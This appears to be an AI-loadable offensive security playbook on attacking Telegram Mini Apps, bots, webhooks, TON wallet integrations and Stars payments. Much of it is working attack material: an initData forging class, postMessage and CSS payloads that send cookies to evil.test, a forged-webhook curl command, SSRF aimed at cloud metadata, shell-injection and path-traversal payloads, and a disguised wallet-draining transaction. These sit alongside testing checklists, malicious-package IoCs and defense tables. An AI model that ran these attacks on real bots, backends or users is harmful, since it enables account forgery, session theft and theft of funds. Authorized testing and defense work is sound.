SKILL: Telegram Mini App & Bot Security — Expert Attack Playbook
AI LOAD INSTRUCTION: Covers Telegram Mini App (TMA) initData forgery, WebView XSS (CVE-2024-33905), webhook request forgery (CVE-2026-25474), zero-click RCE (ZDI-CAN-30207 CVSS 9.8), FEMITBOT TMA scam network (100+ fake apps), common-tg-service npm account hijack framework (502 malicious versions), Operation Navy Ghost PyPI Pyrogram trojanization (8 packages, 25K downloads), Telegram Stars refund fraud, TON Connect 2.0 four attack vectors (clone dApp/clipboard/deep link/persistent session), TAC Bridge cross-chain $2.85M attack (code-hash bypass), TONResolver RAT (TON smart contract as immutable C2), MTProto auth_key_id plaintext deanonymization (GNMX-01 report), MTProto encrypt-and-MAC flaw, message reordering attack, AI/LLM Bot prompt injection (18% security check failure rate), AI codeless C2 via Telegram+LLM, Telegram Business API attack surface, Kali365 phishing-as-a-service, OFAC sanctioned exchange compliance risk, payment provider impersonation, bot token leakage, deep link injection, callback_data manipulation, inline keyboard abuse, SSRF via setWebhook, and CloudStorage/BiometricManager API exploitation. Each section gives the mechanism, PoC code, real CVEs/incidents, IoCs, and detection commands. Use only against authorized targets.
0. RELATED ROUTING
Use this skill when a target's attack surface includes Telegram Mini Apps, Bot webhooks, TON blockchain integration, or Telegram-based authentication. Also load:
- business-logic-vulnerabilities — payment callback forgery and subscription logic abuse in TMA
- api-authorization-and-bola — object-level authorization flaws in TMA backend APIs
- xss-cross-site-scripting — WebView XSS and postMessage injection chains
- supply-chain-attacks — malicious npm packages targeting Telegram bot developers
- ai-llm-attack-surface — AI Agent integration with Telegram bots via MCP
- ssrf-server-side-request-forgery — SSRF via Telegram webhook URL
1. WHY THIS MATTERS
Telegram has 900+ million monthly active users and its Mini App ecosystem is exploding — over 16+ production APIs now provide native MCP endpoints through Telegram. The platform's trust model creates unique attack surfaces:
- Mini Apps run inside Telegram's WebView, inheriting user trust in the platform
initDatavalidation is the only authentication boundary, and many developers implement it incorrectly- Bot tokens are frequently leaked in client-side code, enabling full bot takeover
- The TON blockchain integration creates irreversible financial attack paths
- Telegram Stars virtual currency enables novel refund fraud schemes
- No app store review process for Mini Apps — anyone can publish
| Statistic | Value |
|---|---|
| Telegram MAU | 900M+ |
| Production MCP endpoints on Telegram | 16+ (2026 Q1) |
| FEMITBOT fake Mini Apps | 100+ (2026 Apr-May) |
| common-tg-service malicious npm versions | 502 (28K weekly downloads) |
| Telegram Stars refund fraud loss | ~$100K+ (2026 Feb) |
| ZDI-CAN-30207 CVSS | 9.8 (zero-click) |
2. HEADLINE 2025-2026 INCIDENTS
| Incident | Date | Vector | Impact |
|---|---|---|---|
| ZDI-CAN-30207 zero-click | 2026-07-24 (disclosure) | Corrupted sticker → remote code execution | 1B+ users at risk, CVSS 9.8 |
| FEMITBOT TMA network | 2026-04 to 05 | 100+ fake Mini Apps impersonating Apple, Disney, NVIDIA | Crypto theft, SpyNote/ERMAC malware distribution |
| common-tg-service npm | 2026 H1 | 502 malicious versions, runtime 2FA implant | Telegram account takeover at scale (India UPI fraud) |
| CVE-2026-25474 OpenClaw | 2026-02-17 | Webhook request forgery, missing secret token validation | Unauthorized bot operations, CVSS 7.5 |
| CVE-2024-33905 Telegram WebK | 2024-03 | postMessage XSS via web_app_open_link | 1-click session hijack |
| Telegram Stars refund fraud | 2026-02 | Buy → transfer gift → refund Stars → keep both | ~$100K loss, markets paused |
| Kaspersky TMA phishing report | 2024-12 | Mini Apps used for in-app phishing | Credential theft inside trusted UI |
3. INITDATA VALIDATION BYPASS
3.1 The initData Mechanism
When a user opens a Mini App, Telegram injects two objects:
initData— the signed string (should be sent to backend for validation)initDataUnsafe— parsed object for UI use only (name itself warns: unsafe)
initData format (URL-encoded query string):
query_id=AAHdF6IQAAAAon2hu5WF7X5W&user=%7B%22id%22%3A279058397%2C%22first_name%22%3A%22Vladislav%22%2C%22last_name%22%3A%22Korolev%22%2C%22username%22%3A%22vdkfrost%22%2C%22language_code%22%3A%22en%22%2C%22is_premium%22%3Atrue%7D&auth_date=1694567890&hash=1234567890abcdef1234567890abcdef1234567890abcdef1234567890abcdef
user object fields (ALL forgeable except validation via hash):
| Field | Type | Trust Level |
|---|---|---|
id |
int | Verified by hash (primary key) |
first_name |
string | Verified by hash but mutable |
last_name |
string | Verified by hash but mutable |
username |
string | Verified by hash but mutable |
photo_url |
string | Verified by hash but mutable |
language_code |
string | Verified by hash but mutable |
is_premium |
bool | Verified by hash but mutable |
allows_write_to_pm |
bool | Verified by hash but mutable |
3.2 HMAC-SHA256 Validation Algorithm
import hmac
import hashlib
import time
import json
from urllib.parse import unquote
def validate_init_data(init_data: str, bot_token: str, max_age: int = 86400) -> bool:
"""Full Telegram initData validation with expiry check."""
# 1. Parse parameters
params = {}
for pair in init_data.split("&"):
idx = pair.index("=")
key = pair[:idx]
value = unquote(pair[idx+1:])
params[key] = value
# 2. Extract and remove hash
received_hash = params.pop("hash", None)
if not received_hash:
return False # MISSING HASH
# 3. Check auth_date exists and is not expired
auth_date = params.get("auth_date")
if not auth_date:
return False # MISSING AUTH_DATE
if int(time.time()) - int(auth_date) > max_age:
return False # EXPIRED
# 4. Build data-check-string (alphabetical sort, newline-joined)
sorted_keys = sorted(params.keys())
data_check_string = "\n".join(f"{k}={params[k]}" for k in sorted_keys)
# 5. Derive secret_key: HMAC-SHA256("WebAppData", bot_token)
secret_key = hmac.new(
key=b"WebAppData",
msg=bot_token.encode(),
digestmod=hashlib.sha256
).digest()
# 6. Calculate hash: HMAC-SHA256(secret_key, data_check_string)
calculated_hash = hmac.new(
key=secret_key,
msg=data_check_string.encode(),
digestmod=hashlib.sha256
).hexdigest()
# 7. Secure comparison (timing-safe)
return hmac.compare_digest(calculated_hash, received_hash)
3.3 Common Validation Mistakes
| Mistake | Description | Attack |
|---|---|---|
| No server-side validation | initData only checked client-side | Complete auth bypass — forge any user |
| No auth_date check | Timestamp not validated | Replay attack with old initData |
| Client-side bot token | Token in JS bundle | Full bot takeover via token theft |
== instead of compare_digest |
Non-constant-time comparison | Timing attack to recover hash |
| No hash field check | Missing hash accepted | Forge initData without signing |
| Wrong sort order | Non-alphabetical parameter sort | Validation always fails (developer disables it) |
| URL decode error | user JSON not properly decoded | Validation fails → developer removes check |
3.4 initData Forge PoC
class InitDataForger:
"""Forge valid initData if bot_token is known (e.g., leaked from JS)."""
def __init__(self, bot_token: str):
self.bot_token = bot_token
def forge(self, user_id: int, username: str, is_premium: bool = False,
auth_date: int = None) -> str:
"""Generate a validly-signed initData with forged user data."""
import time, json, hmac, hashlib
from urllib.parse import urlencode
if auth_date is None:
auth_date = int(time.time())
user_data = {
"id": user_id,
"first_name": "Forged",
"last_name": "User",
"username": username,
"language_code": "en",
"is_premium": is_premium,
"allows_write_to_pm": True
}
params = {
"query_id": f"AAHforge{int(time.time())}",
"user": json.dumps(user_data),
"auth_date": str(auth_date)
}
# Build data-check-string
sorted_params = sorted(params.items())
data_check_string = "\n".join(f"{k}={v}" for k, v in sorted_params)
# Derive secret and sign
secret_key = hmac.new(b"WebAppData", self.bot_token.encode(), hashlib.sha256).digest()
calculated_hash = hmac.new(secret_key, data_check_string.encode(), hashlib.sha256).hexdigest()
params["hash"] = calculated_hash
return urlencode(params)
def replay(self, captured_init_data: str, new_auth_date: int = None) -> str:
"""Modify auth_date in captured initData and re-sign (if token known)."""
# Parse original
params = {}
for pair in captured_init_data.split("&"):
idx = pair.index("=")
params[pair[:idx]] = unquote(pair[idx+1:])
params.pop("hash", None)
if new_auth_date:
params["auth_date"] = str(new_auth_date)
sorted_params = sorted(params.items())
data_check_string = "\n".join(f"{k}={v}" for k, v in sorted_params)
secret_key = hmac.new(b"WebAppData", self.bot_token.encode(), hashlib.sha256).digest()
params["hash"] = hmac.new(secret_key, data_check_string.encode(), hashlib.sha256).hexdigest()
return urlencode(params)
# Usage (requires leaked bot_token):
# forger = InitDataForger("123456:ABC-DEF...")
# forged = forger.forge(user_id=999, username="admin", is_premium=True)
# replay = forger.replay(captured_init_data, new_auth_date=int(time.time()))
3.5 Testing initData Validation
□ Capture window.Telegram.WebApp.initData from the TMA
□ Send initData to backend — does it validate?
□ Modify user.id field — does backend reject?
□ Modify user.is_premium to true — does backend reject?
□ Remove hash field — does backend reject?
□ Set auth_date to 48 hours ago — does backend reject?
□ Set auth_date to 0 (epoch) — does backend reject?
□ Check if bot_token is in client-side JS (grep for [0-9]+:[A-Za-z0-9_-]+)
□ If token found: forge initData with arbitrary user_id
□ Check if initData is re-validated on each API request or only at login
□ Test with empty user object — does backend crash?
□ Test with extra parameters — does backend ignore or crash?
4. WEBVIEW XSS & POSTMESSAGE INJECTION
4.1 CVE-2024-33905 — Telegram WebK postMessage XSS
Affected: Telegram WebK < 2.0.0 (488)
Vector: web_app_open_link event via postMessage
Impact: 1-click session hijack
Mini Apps communicate with the Telegram client via postMessage. The web_app_open_link handler failed to sanitize the URL parameter, allowing JavaScript injection:
// PoC concept — malicious Mini App sends crafted postMessage
window.parent.postMessage(JSON.stringify({
eventType: "web_app_open_link",
eventData: {
url: "javascript:alert(document.cookie)" // XSS payload
}
}), "*");
// More destructive variant — steal session and exfiltrate
window.parent.postMessage(JSON.stringify({
eventType: "web_app_open_link",
EventData: {
url: "javascript:fetch('https://evil.test/steal?cookie='+document.cookie)"
}
}), "*");
4.2 XSS Vectors in TMA
| Type | Vector | Example |
|---|---|---|
| Reflected XSS | URL parameters (game params, referral codes) | ?ref=<script>alert(1)</script> |
| Stored XSS | Leaderboards, user profiles, game chat | Username field with <img src=x> |
| DOM-based XSS | postMessage handler without origin check | window.addEventListener('message', e => eval(e.data)) |
| Theme injection | tgWebAppThemeParams values inserted to DOM |
bg_color=red;--exploit:url(javascript:alert(1)) |
4.3 tgWebAppThemeParams Injection
// VULNERABLE: theme params inserted without sanitization
document.body.style.cssText = `background-color: ${Telegram.WebApp.themeParams.bg_color};`;
// Attack: modify the hash to inject CSS
// #tgWebAppThemeParams={"bg_color":"red;} body{background:url(https://evil.test/log?c="+document.cookie+")} .x{"}
4.4 tgWebAppPlatform Spoofing
// Modify platform parameter to trigger different code paths
const url = new URL(window.location.href);
url.hash = url.hash.replace('tgWebAppPlatform=web', 'tgWebAppPlatform=ios');
window.location.href = url.href;
// Platforms: android, ios, tdesktop, web, webk, weba
// Each may have different security checks or feature flags
5. BOT WEBHOOK SECURITY
5.1 CVE-2026-25474 — OpenClaw Webhook Request Forgery
| Attribute | Value |
|---|---|
| CVE | CVE-2026-25474 |
| CVSS | 7.5 |
| Package | openclaw (Telegram bot framework) |
| Disclosure | 2026-02-17 |
| Fix | openclaw@^2026.2.1 |
Root cause: When channels.telegram.webhookSecret is not configured, the application accepts webhook requests without validating the X-Telegram-Bot-Api-Secret-Token header. An attacker who can reach the webhook endpoint can send forged Update objects.
# PoC — send forged Telegram Update to unprotected webhook
curl -X POST https://target.com/webhook/telegram \
-H "Content-Type: application/json" \
-d '{
"update_id": 999999,
"message": {
"message_id": 1,
"from": {"id": 12345, "first_name": "Attacker", "is_bot": false},
"chat": {"id": 12345, "type": "private"},
"date": 1740000000,
"text": "/admin grant_role attacker superadmin"
}
}'
# No secret token header needed — webhook accepts it
5.2 Webhook Three-Layer Security
Layer 1 — IP Allowlist (Telegram official IP ranges):
91.108.56.0/22 91.108.4.0/22 91.108.8.0/22
91.108.16.0/22 91.108.12.0/22 149.154.160.0/20
91.105.192.0/23 91.108.20.0/22 185.76.151.0/24
2001:b28:f23d::/48 2001:b28:f23f::/48 2001:67c:4e8::/48
2001:b28:f23c::/48 2a0a:f280::/32
Fetch latest: curl https://core.telegram.org/resources/cidr.txt
Layer 2 — Secret Token:
# setWebhook with secret token
import requests
requests.post(f"https://api.telegram.org/bot{TOKEN}/setWebhook", json={
"url": "https://your-server.com/webhook",
"secret_token": secrets.token_urlsafe(32) # 1-256 chars: A-Z, a-z, 0-9, _, -
})
# Validate on receipt
received_secret = request.headers.get("X-Telegram-Bot-Api-Secret-Token")
if not hmac.compare_digest(received_secret, EXPECTED_SECRET):
abort(403)
Layer 3 — update_id Dedup (replay protection):
processed_updates = set()
async def handle_update(update: dict):
uid = update.get("update_id")
if uid in processed_updates:
return # Replay attempt
processed_updates.add(uid)
# Process update...
5.3 SSRF via setWebhook
# If attacker has bot token, can redirect webhook to internal services
curl -X POST "https://api.telegram.org/bot${TOKEN}/setWebhook" \
-d "url=https://internal-service.local:8080/admin"
# Telegram servers will POST to internal-service.local:8080/admin
# Response body from internal service is NOT returned to attacker
# But timing/status codes can be used for port scanning
# Detect: check if setWebhook accepts non-HTTPS or internal URLs
curl -X POST "https://api.telegram.org/bot${TOKEN}/setWebhook" \
-d "url=http://169.254.169.254/latest/meta-data/" # AWS IMDS
5.4 Webhook Testing Checklist
□ Send POST without X-Telegram-Bot-Api-Secret-Token header — accepted?
□ Send POST with wrong secret token — accepted?
□ Send forged update_id — processed without dedup?
□ Send forged message from admin user — bot trusts it?
□ Send forged callback_query with admin payload — processed?
□ Test SSRF: setWebhook to http://localhost:xxxx — accepted?
□ Test SSRF: setWebhook to http://169.254.169.254 — accepted?
□ Check if webhook URL contains bot token in path (e.g., /webhook/BOT_TOKEN)
□ Send update with missing required fields — crash?
□ Send oversized update payload — DoS?
□ Check if webhook endpoint is publicly accessible (no IP restriction)
6. BOT TOKEN LEAKAGE & ABUSE
6.1 Detection
# Scan for bot tokens in JS bundles (format: digits:alphanumeric)
grep -rhoE '[0-9]{8,12}:[A-Za-z0-9_-]{30,45}' target-app.js | sort -u
# Verify a found token
curl "https://api.telegram.org/bot${TOKEN}/getMe"
# Returns: {"ok":true,"result":{"id":...,"first_name":"...","username":"..."}}
# Check webhook info (reveals server URL!)
curl "https://api.telegram.org/bot${TOKEN}/getWebhookInfo"
# Returns: {"url":"https://victim-server.com/webhook","pending_update_count":5,...}
# Download all bot updates (if using getUpdates mode)
curl "https://api.telegram.org/bot${TOKEN}/getUpdates?limit=100"
6.2 Token Theft Impact
| Capability | Command |
|---|---|
| Read all messages | getUpdates |
| Send messages as bot | sendMessage |
| Set webhook to attacker server | setWebhook |
| Get bot info | getMe |
| Create invoices | createInvoiceLink |
| Access chat member info | getChatMember |
| Send files/photos | sendDocument, sendPhoto |
7. DEEP LINK & CALLBACK INJECTION
7.1 Deep Link Abuse
# t.me/bot?start= — command injection through start parameter
https://t.me/TargetBot?start=claim_1000_stars
# t.me/bot?startapp= — Mini App launch with arbitrary params
https://t.me/TargetBot?startapp=referral_code_XSS_PAYLOAD
# Test payloads for start parameter:
/start admin
/start {"action":"grant_admin","user_id":attacker_id}
/start ../../../etc/passwd
/start `id`
/start $(whoami)
7.2 Inline Keyboard callback_data Injection
# Using Telethon to test callback_data payloads
from telethon import TelegramClient
from telethon.tl.functions.messages import GetBotCallbackAnswerRequest
import asyncio
async def test_callbacks():
client = TelegramClient('session', API_ID, API_HASH)
await client.start()
# Get bot messages with inline keyboards
msgs = await client.get_messages('@target_bot', limit=50)
# Extract existing callback_data patterns
for msg in msgs:
if msg.buttons:
for row in msg.buttons:
for btn in row:
if hasattr(btn, 'data') and btn.data:
print(f"Found: {btn.data}")
# Test forged callback payloads
test_payloads = [
b'admin',
b'debug',
b'wallet/withdraw/9999',
b'{"action":"grant_role","role":"superadmin"}',
b'{"action":"claim","amount":99999}',
b'../../admin',
]
for payload in test_payloads:
try:
result = await client(GetBotCallbackAnswerRequest(
peer='@target_bot',
msg_id=msg.id,
data=payload
))
print(f"Payload {payload} -> {result.message}")
except Exception as e:
print(f"Payload {payload} -> {e}")
await client.disconnect()
asyncio.run(test_callbacks())
8. TELEGRAM MINI APP API EXPLOITATION
8.1 JavaScript API Attack Surface
| API | Risk | Attack |
|---|---|---|
sendData(data) |
Data interception | Monkey-patch to intercept/modify |
openInvoice(url) |
Payment manipulation | Modify invoice URL parameters |
CloudStorage |
Sensitive data exposure | Read stored keys via XSS |
BiometricManager |
Auth bypass | Fake biometric result to backend |
openLink(url) |
XSS (CVE-2024-33905) | javascript: URI injection |
MainButton |
Phishing disguise | Override text/onclick |
LocationManager |
Location leak | Access without consent |
HapticFeedback |
UI deception | Fake confirmation feedback |
8.2 sendData() Interception
// Monkey-patch to intercept data sent from TMA to bot
const originalSendData = window.Telegram.WebApp.sendData;
window.Telegram.WebApp.sendData = function(data) {
console.log("[INTERCEPTED] sendData:", data);
// Can modify data before forwarding
const modified = JSON.stringify({
...JSON.parse(data),
"admin_override": true,
"amount": 99999
});
return originalSendData.call(window.Telegram.WebApp, modified);
};
8.3 CloudStorage Exploitation
// If TMA stores sensitive data in CloudStorage without encryption
const cs = Telegram.WebApp.CloudStorage;
// Read all stored keys (if accessible via XSS)
cs.getKeys((err, keys) => {
keys?.forEach(key => {
cs.getItem(key, (err, value) => {
console.log(`${key}: ${value}`);
// Exfiltrate: fetch(`https://evil.test/log?k=${key}&v=${value}`)
});
});
});
// Common keys to check: wallet, token, password, session, api_key
8.4 BiometricManager Bypass
// VULNERABLE: biometric result only checked client-side
const bm = Telegram.WebApp.BiometricManager;
bm.init(() => {
// Attacker patches isAccessGranted to always return true
bm.isAccessGranted = () => true;
bm.authenticate({reason: "Verify identity"}, (confirmed) => {
if (confirmed || bm.isAccessGranted()) {
// Backend doesn't re-verify biometric token
transferFunds();
}
});
});
9. TON BLOCKCHAIN INTEGRATION ATTACKS
9.1 TON Connect Phishing
Four attack vectors:
| Vector | Mechanism | Difficulty |
|---|---|---|
| Fake dApp | Clone UI + manifest, slightly different domain | Low |
| Clipboard malware | Replace tc:// connection URL when copied |
Medium |
| Deep link injection | Send malicious TON Connect link in Telegram | Low |
| Persistent session abuse | Dormant session reactivated weeks later | Low |
// TMA wallet injection — disguise malicious transaction as normal swap
const maliciousTx = {
validUntil: Math.floor(Date.now() / 1000) + 300,
messages: [{
address: "UQATTACKER_WALLET_ADDRESS", // Disguised as contract
amount: "1000000000", // 1 TON
payload: "base64_encoded_disguised_payload"
}]
};
await tonConnectUI.sendTransaction(maliciousTx);
9.2 TON Smart Contract Vulnerabilities
| Vulnerability | Mechanism | Impact |
|---|---|---|
Missing impure modifier |
Compiler removes security checks with unused return values | Full auth bypass, fund theft |
| Race condition | Async message processing timing | Double-spend, state manipulation |
| Integer overflow | Arithmetic exceeds data type bounds | Token inflation, balance manipulation |
| Replay attack | Missing sequence number allows duplicate processing | Unauthorized repeated transactions |
| Fake Jetton deposit | Jetton token vulnerability allows worthless token deposit | Vault depletion |
10. TELEGRAM STARS PAYMENT FRAUD
10.1 Refund Double-Spend
Attack flow:
1. Attacker purchases Telegram Stars (via App Store / Google Play)
2. Attacker buys digital goods in Mini App using Stars
3. Attacker transfers digital goods to secondary account
4. Attacker requests refund from Apple/Google (21-day window)
5. Telegram receives refund notification, reverses Stars transaction
6. Digital goods already transferred → attacker keeps goods + refund
2026 incident data:
| Metric | Value |
|---|---|
| Single day max cancellations | 9,882 gifts (~$45K loss) |
| Total gifts cancelled | 18,000+ |
| Total estimated loss | ~$100,000+ |
| Market impact | Largest off-chain markets paused operations |
10.2 Invoice Manipulation
# Bot API invoice creation — test parameter manipulation
import requests
# If bot token is known, create invoices with modified parameters
invoice = requests.post(
f"https://api.telegram.org/bot{TOKEN}/createInvoiceLink",
json={
"title": "Test Product",
"description": "Test",
"payload": "test_purchase", # Backend must verify this
"currency": "XTR", # Telegram Stars
"prices": [{"label": "Item", "amount": 1}], # 1 Star vs 100?
"provider_token": "" # Stars payments: empty
}
).json()
# Test: can amount be set to 0 or negative?
# Test: can payload be manipulated to trigger different backend logic?
11. SUPPLY CHAIN ATTACKS ON TELEGRAM DEVELOPERS
11.1 common-tg-service npm — Account Hijack Framework
The most sophisticated Telegram supply chain attack to date:
| Attribute | Value |
|---|---|
| Package | common-tg-service |
| Malicious versions | 502 (v1.0.1 → v1.3.207) |
| Weekly downloads | ~28,000 |
| Detection evasion | No install-time scripts (runtime only) |
| Target | Indian Telegram accounts (UPI fraud) |
Attack chain (5 stages):
- 2FA Implant — Sets hardcoded 2FA password (
Ajtdmwajt1@) with attacker recovery email (storeslaksmi@gmail.com). Auto-reads Telegram 2FA confirmation via IMAP and submits. - Session Eviction — Calls
account.GetAuthorizations, revokes all sessions except attacker's. Victim is locked out. - OTP Theft — Monitors official chat
777000(Telegram OTP sender), forwards codes to attacker bot channel. - Ownership Verification — Periodic SRP check on all controlled accounts. If user rotates 2FA, marks as
FOREIGN 2FA password, account unrecoverableand alerts attacker. - Remote Config — Pulls config from
npoint.io(hardcoded credentials + session cookie). Attacker can modify all instances remotely.
IoCs:
Hardcoded 2FA password: Ajtdmwajt1@
Attacker email: storeslaksmi@gmail.com
Config endpoint: npoint.io
HTTP relay: helper-thge.onrender.com
AuthGuard backdoor key: santoor
Companion package: ams-ssk@1.0.33
11.2 web3-telegram-mini-app npm
- Detected as CRITICAL severity malicious package
- Contains malicious code targeting TMA developers
- On Linux: injects SSH keys into
~/.ssh/authorized_keys
11.3 Detection
# Check if project depends on known malicious Telegram packages
npm ls common-tg-service web3-telegram-mini-app 2>/dev/null
# Scan for bot tokens in node_modules
grep -rhoE '[0-9]{8,12}:[A-Za-z0-9_-]{30,45}' node_modules/ | sort -u
# Check for suspicious postinstall scripts
npm ls --all 2>/dev/null | grep -i "postinstall\|preinstall"
12. ZDI-CAN-30207 — ZERO-CLICK RCE (CVSS 9.8)
| Attribute | Value |
|---|---|
| ZDI ID | ZDI-CAN-30207 |
| CVSS | 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Reporter | Michael DePlante (@izobashi) |
| Reported | 2026-03-26 |
| Public disclosure | 2026-07-24 |
| Suspected vector | Corrupted Telegram sticker |
| Impact | Remote code execution, 1B+ users at risk |
Key details:
- Zero-click: requires no user interaction
- Remote: exploitable over network
- No privileges required
- Telegram denies vulnerability, claims all stickers are server-validated
- Trend Micro ZDI scheduled public disclosure after 120-day coordination period
Testing/defensive notes:
- Monitor for abnormal Telegram process behavior (unexpected child processes)
- Check for sticker cache corruption in Telegram data directory
- Enable automatic updates for Telegram client
- Restrict contacts and sticker downloads from unknown sources
13. TRAFFIC INTERCEPTION & TESTING SETUP
13.1 Burp Suite for TMA
1. Set proxy listener: 0.0.0.0:8080 (all interfaces)
2. Install Burp CA certificate on mobile device:
- Android: Settings > Security > Install from storage
- iOS: Download cert > Settings > Profile > Install > Trust
3. Configure device Wi-Fi proxy: <computer-IP>:8080
4. In Burp HTTP history, filter for TMA domain
5. Use Repeater to test API endpoints
6. Use Match & Replace to modify initData parameters
7. If SSL pinning: use Frida or objection to bypass
13.2 mitmproxy TMA Analyzer
# Save as tma_analyzer.py, run: mitmproxy -s tma_analyzer.py
from mitmproxy import http
from urllib.parse import unquote
class TMAAnalyzer:
def __init__(self):
self.init_data_samples = []
def request(self, flow: http.HTTPFlow):
# Intercept initData in requests
body = flow.request.urlencoded_form or {}
if "initData" in body:
init_data = body["initData"]
self.init_data_samples.append({
"url": flow.request.url,
"initData": init_data,
})
# Parse and display user info
for pair in init_data.split("&"):
if pair.startswith("user="):
user_json = unquote(pair[5:])
print(f"[TMA] User data: {user_json}")
# Check for bot token in requests
text = flow.request.text or ""
if "api.telegram.org/bot" in text:
print(f"[BOT API CALL] {flow.request.url}")
def response(self, flow: http.HTTPFlow):
# Detect sensitive data in responses
if flow.response and flow.response.text:
for keyword in ['token', 'secret', 'key', 'password', 'wallet', 'seed']:
if keyword in flow.response.text.lower():
print(f"[SENSITIVE] {flow.request.url}: {flow.response.text[:200]}")
addons = [TMAAnalyzer()]
13.3 Telegram Desktop WebView Debug
1. Open Telegram Desktop (beta)
2. Settings > Experimental settings
3. Enable "Enable webview inspecting"
4. Open any Mini App
5. Right-click inside Mini App > Inspect Element
6. DevTools opens — monitor:
- Console for JS errors and API calls
- Network tab for API requests
- Application > Local Storage / Session Storage
- window.Telegram.WebApp object in console
13.4 Telegram Test Server
# iOS: Rapidly tap Settings icon 10 times → test login
# Desktop: Settings > Shift+Alt+Right-click "Add Account" → select Test Server
# Test server allows:
# - Testing Mini App auth flows without affecting production users
# - Testing deep links and feature flags
# - Testing bot commands without rate limit concerns
14. FEMITBOT — TMA SCAM NETWORK ANATOMY
14.1 Campaign Overview (2026 Apr-May)
| Attribute | Value |
|---|---|
| Fake Mini Apps | 100+ |
| Impersonated brands | Apple, Coca-Cola, Disney, eBay, IBM, MoonPay, NVIDIA |
| Distribution | Social media ads + Telegram invites |
| Malware distributed | SpyNote (Android RAT), ERMAC (banking trojan) |
| Attribution | Single operator (consistent API signatures) |
| Evasion | Short-lived bot tokens + rotating domains |
14.2 Attack Architecture
Social Media Ad / Telegram Invite
↓
Telegram Bot (initial contact)
↓
Mini App (WebView) — fake brand UI
↓
┌────────────────┬─────────────────┐
↓ ↓ ↓
Credential Theft Wallet Connect APK Download
(TON drain) (SpyNote/ERMAC)
↓ ↓ ↓
Backend Server — data collection & C2
14.3 IoCs
Malware families: SpyNote, ERMAC
Distribution vector: Telegram Mini App (WebView)
Bot token pattern: short-lived, frequently rotated
Domain pattern: typosquats of legitimate brands
API signature: consistent across all 100+ apps (single operator)
15. TESTING CHECKLIST
─── INITDATA VALIDATION ───
□ Capture window.Telegram.WebApp.initData
□ Check if backend validates initData (modify user.id)
□ Test auth_date expiry (set to 48h ago)
□ Check if hash field is validated (remove it)
□ Search for bot_token in client-side JS
□ If token found: forge initData with admin user_id
□ Test if initData is re-validated on each API request
□ Check for Ed25519 third-party validation support
─── WEBVIEW XSS ───
□ Test postMessage handlers for origin validation
□ Inject javascript: URI via openLink
□ Test tgWebAppThemeParams for CSS injection
□ Spoof tgWebAppPlatform to trigger different code paths
□ Test all URL parameters for reflected XSS
□ Check leaderboards/profiles for stored XSS
□ Test sendData() monkey-patching
─── WEBHOOK SECURITY ───
□ Send POST without secret token header
□ Send POST with wrong secret token
□ Test update_id deduplication (replay)
□ Send forged admin message to webhook
□ Test SSRF via setWebhook (internal URLs)
□ Check if webhook URL contains bot token in path
□ Verify IP allowlist (Telegram official CIDRs)
─── BOT TOKEN & API ───
□ Scan JS bundles for token pattern (digits:alphanumeric)
□ If token found: call getMe, getWebhookInfo, getUpdates
□ Test deep link payloads (/start admin, /start {json})
□ Extract inline keyboard callback_data patterns
□ Send forged callback_data payloads
□ Test command injection via /start parameter
□ Enumerate bot commands (/help, /admin, /debug, /wallet)
─── TMA API ABUSE ───
□ Test CloudStorage for sensitive data (wallet, keys)
□ Check if BiometricManager result is verified server-side
□ Test openInvoice() with modified invoice parameters
□ Intercept sendData() to modify payload
□ Test MainButton text/onclick override for phishing
□ Check LocationManager for consent bypass
─── TON BLOCKCHAIN ───
□ Test TON Connect for session persistence abuse
□ Check wallet transaction payload for disguise techniques
□ Verify smart contract impure modifier presence
□ Test for integer overflow in token operations
□ Check for sequence number in transaction validation
─── PAYMENT FRAUD ───
□ Test invoice amount manipulation (0, negative)
□ Test payload parameter for business logic bypass
□ Check refund handling — can goods be kept after refund?
□ Test currency parameter manipulation
─── SUPPLY CHAIN ───
□ Check for common-tg-service in dependencies
□ Check for web3-telegram-mini-app in dependencies
□ Scan node_modules for hardcoded bot tokens
□ Review postinstall scripts in Telegram-related packages
─── TRAFFIC INTERCEPTION ───
□ Configure Burp/mitmproxy for TMA traffic
□ Install CA certificate on test device
□ Bypass SSL pinning if present (Frida/objection)
□ Enable Telegram Desktop WebView debugging
□ Use Telegram Test Server for non-production testing
16. 2026 CVE & INCIDENT QUICK REFERENCE
| CVE/Incident | Product | CVSS | Type | Date |
|---|---|---|---|---|
| ZDI-CAN-30207 | Telegram Client | 9.8 | Zero-click RCE (animated sticker) | 2026-07-24 |
| CVE-2026-25474 | OpenClaw bot framework | 7.5 | Webhook request forgery | 2026-02-17 |
| CVE-2024-33905 | Telegram WebK <2.0.0 | — | postMessage XSS → session hijack | 2024-03 |
| FEMITBOT | 100+ fake TMAs | — | Crypto scam + Android malware | 2026-04-05 |
| common-tg-service | npm (502 versions) | — | Account hijack framework | 2026 H1 |
| web3-telegram-mini-app | npm | Critical | SSH key injection | 2026 |
| Telegram Stars refund | Platform | — | Payment double-spend | 2026-02 |
| TAC Bridge attack | TON ↔ TAC bridge | — | Cross-chain $2.85M drain (code-hash bypass) | 2026-05-11 |
| TONResolver RAT | TON blockchain | — | TON smart contract as immutable C2 | 2026-05 |
| Operation Navy Ghost | PyPI (8 packages) | — | Pyrogram trojanization (25K downloads) | 2025-11 to 2026-06 |
| GNMX-01 (MTProto) | Telegram MTProto 2.0 | — | auth_key_id plaintext deanonymization | 2026-05-18 |
| MTProto reordering | Telegram (all platforms) | — | Message reordering attack | Fixed 7.8.1 |
| Kali365 PaaS | Telegram + Microsoft OAuth | — | Phishing-as-a-Service, MFA bypass | 2026-06 |
| OFAC sanctions (4 exchanges) | Nobitex/Wallex/Bitpin/Ramzinex | — | $7.7B sanctioned crypto volume | 2026-06 |
| AI codeless C2 | Telegram Bot + LLM API | — | AI-powered C2 without malware code | 2026 |
| LLM Bot Prompt Injection | Telegram LLM Bots | — | 18% of security checks failed | 2026 |
17. DEFENSE RECOMMENDATIONS
| Layer | Recommendation |
|---|---|
| initData | Always validate server-side with HMAC-SHA256 + auth_date expiry |
| Bot Token | Never in client code; use environment variables |
| Webhook | Set secret_token + IP allowlist + update_id dedup |
| TMA API | Don't store secrets in CloudStorage; verify biometrics server-side |
| TON | Verify impure modifier, sequence numbers, access control in contracts |
| Payments | Track digital goods transfers; handle refund reversals atomically |
| Supply Chain | Audit Telegram-related npm/PyPI packages; check for known IoCs |
| Client | Enable auto-update; restrict stickers from unknown sources |
| Monitoring | Alert on webhook calls from non-Telegram IPs; monitor getUpdates spikes |
| User Education | Never enter seed phrases in TMA; verify bot identity before connecting wallet |
